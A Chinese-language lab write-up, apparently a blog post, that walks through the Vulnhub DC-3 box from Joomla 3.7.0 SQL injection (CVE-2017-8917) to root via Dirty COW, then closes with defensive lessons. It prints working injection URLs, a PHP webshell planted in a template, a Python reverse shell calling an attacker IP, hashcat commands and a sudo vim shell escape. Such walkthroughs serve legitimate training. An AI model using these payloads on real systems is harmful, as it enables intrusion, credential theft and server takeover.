ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀，每一条都经过真实交付验证。

首页 / 资讯中心 / 正文

从SQL注入到Root提权：DC-3靶场渗透测试实战全解析

2026/8/6 7:36:12 拓冰建站 浏览量
从SQL注入到Root提权：DC-3靶场渗透测试实战全解析

1. 项目概述：一次从Web到Root的完整攻防推演

DC-3靶场是Vulnhub平台上非常经典的一个渗透测试练习环境，它模拟了一个基于Joomla内容管理系统（CMS）的网站，并最终引导攻击者从Web应用漏洞一路拿到Linux服务器的最高权限。这个靶场的魅力在于，它并非一个孤立漏洞的堆砌，而是一条环环相扣的攻击链。很多新手在拿到一个靶机IP后，常常会陷入“下一步该做什么”的迷茫。DC-3恰恰提供了一个绝佳的实战剧本，它清晰地展示了如何将一次看似普通的SQL注入，通过信息收集、漏洞利用、权限提升等一系列操作，最终转化为对目标系统的完全控制。

我之所以选择解析这个靶场，是因为它几乎涵盖了初级到中级渗透测试工程师需要掌握的核心技能点：信息枚举、漏洞识别、利用代码编写、文件上传、以及Linux提权。更重要的是，整个过程充满了“转折点”——那些需要你停下来思考、尝试不同路径、并最终做出关键决策的时刻。理解这些转折点背后的逻辑，远比单纯记住攻击命令更有价值。接下来，我将以第一人称视角，带你复盘我在DC-3靶场实战中遇到的5个关键转折点，并详细拆解每个点上的思考过程、技术细节和踩过的坑。

2. 第一个转折点：从“它是一个网站”到“它是Joomla 3.7.0”

拿到靶机IP后的第一步永远是信息收集。用Nmap做个快速扫描，发现80端口开放，运行着一个HTTP服务。访问一看，是一个普通的公司网站。很多人的第一反应可能是直接上漏洞扫描器，比如Nikto或WPScan。这当然没错，但这里存在第一个关键的思维转折：从泛化的“网站”概念，聚焦到具体的“Joomla CMS”及其精确版本。

2.1 手动指纹识别与版本确认

直接访问网站，查看页面源代码，在HTML的<head>部分或<meta>标签里，很容易找到类似<meta name="generator" content="Joomla! - Open Source Content Management" />的标识。这确认了它是Joomla。但版本呢？有几种方法：

  1. 检查/administrator/manifests/files/joomla.xml文件：这是Joomla的标准版本信息文件。直接访问这个路径，如果存在，会返回一个XML文件，其中<version>标签清楚地写着3.7.0。
  2. 检查/language/en-GB/en-GB.xml或组件目录：某些语言包或核心组件目录的XML文件中也可能包含版本信息。
  3. 使用WPScan（它同样支持Joomla）进行枚举：命令wpscan --url http://靶机IP --enumerate vp可以快速枚举漏洞插件，但首先它会识别CMS类型和版本。

注意：在实战中，直接访问/administrator目录可能会触发登录页面，这本身也是一个信息点（确认了后台路径）。但joomla.xml这个文件路径是相对隐蔽且通常可读的，是快速确定版本的有效手段。

2.2 为什么版本3.7.0如此重要？

这是整个渗透测试的基石。Joomla 3.7.0版本引入了一个名为“COM_FIELDS”的核心组件，用于自定义字段。而在该版本发布后不久，安全研究人员就发现其存在一个严重的SQL注入漏洞（CVE-2017-8917）。这个漏洞的影响在于：

  • 位置关键：漏洞存在于核心组件，无需任何特殊插件。
  • 利用简单：是一个基于联合查询（Union-based）的字符型注入，易于手动利用和编写自动化脚本。
  • 危害极大：可导致数据库信息泄露，特别是用户凭据（用户名和密码哈希值）。

如果没有精确锁定3.7.0这个版本，后续的渗透路径可能会完全不同。你可能需要花费大量时间去测试其他通用漏洞或插件漏洞，效率低下。这个转折点告诉我们：精准的版本信息是指引攻击方向的灯塔。

3. 第二个转折点：理解并利用CVE-2017-8917 SQL注入

知道存在SQL注入漏洞和真正能利用它，中间隔着一道技术理解的鸿沟。第二个转折点就是从“知道有漏洞”到“手动构造出有效的注入Payload”。

3.1 漏洞原理浅析

简单来说，在Joomla 3.7.0的com_fields组件中，对list[fullordering]这个HTTP请求参数过滤不严。当这个参数被用户控制并传入数据库查询的ORDER BY子句时，攻击者可以注入自己的SQL代码。

3.2 手动注入过程拆解

假设靶机IP是192.168.1.100。攻击步骤如下：

  1. 寻找注入点：通过搜索或直接猜测，发现漏洞触发点可能在/index.php?option=com_fields&view=fields这个URL。我们需要通过list[fullordering]参数传递Payload。
  2. 探测注入类型：首先尝试最基本的探测，确认注入存在。
    http://192.168.1.100/index.php?option=com_fields&view=fields&list[fullordering]=updatexml(1,concat(0x7e,version()),1)
    如果页面返回了包含MySQL版本信息的XPATH错误，则证明注入点存在且可执行函数。
  3. 利用联合查询获取数据：这是最关键的一步。我们需要通过UNION SELECT语句从其他表中窃取数据。首先得确定当前查询的列数。通过order by递增测试，例如list[fullordering]=(select 1 from dual order by 7)，直到页面报错，即可确定列数。在DC-3中，通常是7列。
  4. 构造有效Payload：确定列数后，构造联合查询。我们的目标是#__users表（Joomla默认的用户表名前缀是#__，实际数据库中会替换为如jos_的具体前缀）。
    http://192.168.1.100/index.php?option=com_fields&view=fields&list[fullordering]=updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from %23__users limit 0,1)),1)
    这里有几个关键技巧：
    • updatexml()函数用于触发错误并将查询结果回显到错误信息中，这是一种“报错注入”技术。
    • concat(0x7e, ...)中的0x7e是波浪号~的十六进制，作为分隔符，使回显更清晰。
    • %23是#的URL编码。在SQL中#是注释符，但在URL中需要编码，否则会被浏览器当作片段标识符处理。这里使用%23是为了确保#__users被正确解析为表名，而不是注释掉后面的内容。
    • limit 0,1每次取一条记录，需要依次递增0,1为1,1、2,1来获取更多用户。

3.3 获取关键凭据

执行上述Payload后，页面可能会返回一个类似这样的错误：

XPATH syntax error: '~admin:$2y$10$Dpfp...（很长一串哈希值）'

恭喜，你拿到了管理员用户名（admin）和密码哈希值（bcrypt格式）。这就是第二个转折点的成果：从Web漏洞中提取出了进入系统后台的钥匙。

实操心得：手动构造SQL注入Payload时，经常会遇到单引号、括号被过滤或转义的情况。此时需要灵活运用十六进制编码（0x...）、字符串连接函数（concat()）以及注释符来绕过。理解数据库错误信息的含义，是调试Payload的关键。

4. 第三个转折点：破解哈希与进入后台

拿到bcrypt哈希值，很多人会直接扔到在线破解网站或用Hashcat跑字典。这当然是一种方法，但第三个转折点涉及到资源评估与路径选择。

4.1 评估破解可行性

Bcrypt是专门为密码存储设计的哈希函数，速度慢，抗暴力破解能力强。一个复杂的密码可能需要数年才能破解。但在CTF或靶场环境中，为了降低难度，密码往往设置得比较简单（如admin123,password,snoopy等）。

4.2 选择破解策略

  1. 在线查询：首先可以尝试在crackstation.net这类拥有庞大预计算哈希表的网站查询，如果密码足够简单，可能瞬间得到结果。在DC-3中，密码通常是snoopy。
  2. 本地暴力破解：如果在线查询无果，可以使用John the Ripper或Hashcat进行本地破解。命令示例（Hashcat）：
    hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
    -m 3200指定bcrypt ($2y$)模式。你需要将获取到的完整哈希值（以$2y$10$...开头）保存到hash.txt文件中。
  3. 社交工程与信息收集：有时靶场会给出提示，密码可能与靶机主题、题目描述或已发现的信息有关。例如，DC系列靶场常使用admin/admin或与DC漫画角色相关的弱密码。

4.3 登录后台与权限确认

成功破解密码（例如得到明文snoopy）后，访问/administrator路径，使用admin和snoopy登录。进入Joomla后台管理界面，这标志着你已经从外部攻击者变成了一个“拥有合法身份”的内部低权限用户（虽然是管理员，但在系统层面仍是Web应用权限）。

注意事项：在真实环境中，Web后台管理员权限已经是非常严重的漏洞。攻击者可以篡改网站内容、植入恶意链接、窃取所有数据。但在提权道路上，这只是一个中转站。我们的目标是操作系统的root权限。后台的价值在于它提供了更多可能的上传点和执行点。

5. 第四个转折点：从后台编辑到代码执行

进入后台后，面对琳琅满目的功能菜单，新手容易迷失。第四个转折点是找到一条从后台管理功能到服务器代码执行的可控路径。

5.1 寻找文件上传点

Joomla后台能上传文件的地方很多：

  • 媒体管理器：通常只能上传图片等媒体文件，有严格的白名单限制。
  • 模板管理：可以编辑PHP模板文件。这是一个非常经典的突破口。找到Protostar（或默认）模板的index.php或error.php文件，直接编辑，插入PHP代码（如<?php system($_GET['cmd']); ?>），保存。然后通过访问前端触发该模板页面（或直接访问模板文件路径）来执行命令。
  • 扩展管理：可以安装新的扩展。我们可以制作一个恶意的Joomla组件压缩包，其中包含后门PHP文件，然后通过“安装扩展”功能上传并执行。但这相对复杂。
  • 文章编辑：在Joomla文章中插入PHP代码通常会被过滤。但有些情况下，如果允许使用特定插件（如Sourcerer），也可能实现代码执行。

5.2 利用“模板编辑”实现RCE

在DC-3中，最直接有效的方法就是编辑模板文件。

  1. 在后台，进入“扩展” -> “模板” -> “模板”。
  2. 找到正在使用的模板（如Protostar），点击其名称进入详情。
  3. 在左侧文件列表中，找到index.php或error.php，点击编辑。
  4. 在文件末尾或任意合适位置，插入一句话Webshell：
    <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
  5. 保存文件。

现在，你可以通过访问http://192.168.1.100/templates/protostar/index.php?cmd=whoami来执行系统命令。返回结果会显示当前的Web服务用户，通常是www-data。

5.3 升级为交互式Shell

命令行回显虽然有用，但交互性太差。我们需要一个反向Shell。

  1. 在攻击机（Kali Linux）上监听一个端口：nc -lvnp 4444
  2. 在靶机的Webshell中，执行一个反向连接命令。由于可能存在空格、特殊字符过滤，需要编码或使用其他方式。一个常用的方法是使用Python：
    http://192.168.1.100/templates/protostar/index.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    如果靶机没有Python3，可以尝试python、perl、php甚至bash的反弹命令。

成功接收到反向Shell后，你就获得了一个www-data用户的命令行交互环境。这是第四个转折点的胜利：将Web应用层的权限，转换成了操作系统层的低权限命令行访问。

常见问题：执行命令时可能会遇到“python3: command not found”或权限错误。这说明需要尝试其他方法。可以先用which python3 python2 python perl php bash等命令检查可用的解释器。另外，某些系统可能会禁用某些函数，需要尝试不同的反弹Shell payload。

6. 第五个转折点：内核漏洞利用与Root权限夺取

拿到www-data的Shell后，我们身处一个受限环境。第五个，也是最后一个转折点，是系统性地进行本地信息枚举，并找到合适的提权路径，一击制胜。

6.1 全面的本地信息收集

不要急着运行任何提权漏洞利用脚本。先摸清家底：

  • id,whoami: 确认当前用户和所属组。
  • uname -a: 查看内核版本。这是寻找内核漏洞提权的关键。
  • cat /etc/passwd: 查看系统用户。
  • sudo -l:极其重要！查看当前用户能以sudo方式运行哪些命令。如果配置不当，可能直接通过sudo提权。
  • find / -perm -4000 -type f 2>/dev/null: 查找SUID文件。特殊的SUID文件可能被滥用。
  • find / -writable 2>/dev/null | grep -v /proc: 查找全局可写目录或文件。
  • cat /etc/crontab: 查看计划任务，可能有自定义任务以root权限运行。
  • ps aux: 查看运行进程，寻找异常或可能利用的服务。
  • dpkg -l或rpm -qa: 查看安装的软件包及其版本。

6.2 分析DC-3的提权路径

在DC-3靶场中，经典的提权路径是通过内核漏洞。运行uname -a可能会显示类似Linux dc-3 4.4.0-21-generic的信息。搜索该内核版本（如4.4.0-21），可以找到对应的漏洞，例如著名的“Dirty COW”（CVE-2016-5195）漏洞就可能适用于此版本。

6.3 编译并利用内核漏洞

  1. 上传漏洞利用代码：在攻击机上找到针对该内核版本的漏洞利用代码（例如dirty.c）。在靶机上，由于可能没有编译器，通常需要在攻击机编译成二进制后再上传。
    • 在攻击机（Kali）上，使用与靶机相同的架构（通常是x64）进行交叉编译：
      gcc dirty.c -o dirty -pthread
    • 在靶机Shell中，使用python3 -m http.server 8000在攻击机启动一个简易HTTP服务，然后在靶机用wget或curl下载编译好的dirty二进制文件。
  2. 执行利用程序：在靶机上，给dirty文件添加执行权限chmod +x dirty，然后运行./dirty。
  3. 获取Root Shell：如果利用成功，程序会提示你密码已修改或直接提供一个具有root权限的Shell。常见的Dirty COW利用脚本会创建一个具有root权限的新用户（如firefart）并设置密码，或者直接覆盖/etc/passwd文件中的root密码哈希。

6.4 验证与获取Flag

成功提权后，运行whoami确认已是root。最后，在/root目录或/home目录下寻找最终的flag文件（通常是flag.txt或proof.txt），使用cat命令查看其内容，即标志着整个渗透测试的完成。

排查技巧实录：内核漏洞利用并非总是成功。如果失败，需要回退到信息收集步骤，寻找其他路径。例如，检查sudo -l时发现可以以root身份无需密码运行某个编辑器（如vim、nano）或语言解释器（如python、perl），那么就可以直接通过它们启动一个root shell（如sudo vim -c ':!/bin/sh'）。又或者，发现一个全局可写的计划任务脚本，可以向其中写入反向Shell代码。在DC-3中，内核漏洞是最直接的路径，但养成全面枚举的习惯，能让你在面对更复杂的环境时游刃有余。

7. 实战后的反思与防御视角

走完DC-3的全过程，我们作为攻击者收获了一条清晰的攻击链。但更有价值的是切换到防御者视角，看看每个转折点对应着哪些安全防护的缺失：

  1. 信息泄露：Joomla版本号直接暴露。应移除或限制访问joomla.xml等版本信息文件，或使用安全插件隐藏生成器标记。
  2. 未及时打补丁：已知的CVE-2017-8917漏洞未修复。对于CMS核心，必须及时关注安全公告并更新到最新版本。
  3. 弱密码：管理员使用了弱密码snoopy，使得bcrypt哈希也被快速破解。必须强制使用高强度、唯一的密码，并考虑启用多因素认证。
  4. 不安全的文件上传/编辑：后台允许直接编辑模板PHP文件，导致代码执行。应严格限制后台的文件编辑权限，对可上传文件类型进行严格检查，或使用不可执行的文件存储区域。
  5. 过时的系统与内核：运行存在已知本地提权漏洞的旧内核。服务器操作系统应定期更新，并遵循最小权限原则，对sudo配置、SUID文件、计划任务进行严格审计。

DC-3靶场像一部精心设计的教学片，将这五个环节串联起来。在真实世界中，攻击链可能在任何一环被中断，但也可能因为其他意想不到的弱点（如另一个易受攻击的插件、配置错误的数据库、暴露的备份文件）而变得更加曲折。通过这次实战解析，我希望你掌握的不仅是那几条命令，更是这种“观察-思考-验证-突破”的渗透测试思维模式。每个转折点，都是一次对目标系统理解的深化，也是一次对自身知识库的考验。